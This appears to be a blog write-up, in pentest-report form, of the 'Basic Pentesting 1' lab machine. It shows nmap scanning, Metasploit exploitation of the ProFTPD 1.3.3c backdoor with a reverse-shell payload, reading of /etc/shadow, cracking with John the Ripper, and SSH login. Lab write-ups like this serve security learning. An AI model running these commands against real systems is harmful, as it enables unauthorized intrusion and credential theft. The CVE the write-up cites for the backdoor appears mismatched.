MACHINE : BASIC PENTESTING 1

1. Summary

This assessment identifies critical security vulnerabilities within the target environment, specifically focusing on a malicious backdoor in the FTP service and systemic credential weaknesses. Exploitation of the ProFTPD backdoor provided immediate, unauthenticated administrative access. Subsequent post-exploitation activities facilitated the extraction and successful offline decryption of system password hashes, resulting in persistent unauthorized access via the SSH service.

2. Target Environment

• Target IP Addresses: 192.168.1.22, 192.168.0.105
• Assessment Platform: Kali Linux
• Target Operating System: Ubuntu 16.04.3 LTS

3. Attack Methodology

The assessment commenced with network reconnaissance to map active hosts, followed by service enumeration using Nmap to identify open ports, service banners, and software versions.

3.1 Service Enumeration

Network discovery and port scanning were initiated with the following commands:

Bash

sudo arp-scan -l
nmap -sV -sC -p- -T5 192.168.1.22

Service Enumeration Results:

• FTP (21/TCP): ProFTPD 1.3.3c (Vulnerable to unauthenticated backdoor execution).
• SSH (22/TCP): OpenSSH 7.2p2 Ubuntu.
• HTTP (80/TCP): Apache httpd 2.4.18.

3.2 Initial Access: ProFTPD Exploitation

The identified ProFTPD version (1.3.3c) is known to contain a source code backdoor. The Metasploit Framework was employed to exploit this vulnerability and establish a primary foothold.

Get Eshantpalkar’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Bash

use exploit/unix/ftp/proftpd_133c_backdoor
set rhost 192.168.1.22
set payload cmd/unix/reverse
exploit

Exploitation Outcome: A reverse shell connection was successfully established. Privilege verification via the whoami command confirmed the session was operating with root authority.

3.3 Credential Harvesting and Persistence

Upon achieving administrative access, the system’s /etc/shadow file was exfiltrated to perform offline password cracking and identify additional vectors for persistence.

Bash

cat /etc/shadow

Analysis revealed a locked root account; however, a SHA-512 hash was retrieved for the standard user marlinspike. Offline brute-force attacks were conducted using John the Ripper.

Bash

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

cracking Outcome: The plaintext password was identified as marlinspike, demonstrating a critical lack of password complexity.

The discovered credentials were used to authenticate via the SSH service, establishing a stable and persistent interactive session.

Bash

ssh marlinspike@192.168.0.105

Access Outcome: Validated successful authentication and shell access for the user marlinspike.

4. Conclusion and Risk Analysis

The security posture of the target system is critically compromised due to the following primary factors:

• Critical Vulnerability (CVE-2010–4221): The presence of the ProFTPD backdoor allows for unauthenticated Remote Code Execution (RCE) with administrative privileges, bypassing all defensive controls.
• Insufficient Password Policy: The use of a username-identical password renders the system highly vulnerable to low-complexity credential attacks, independent of software vulnerabilities.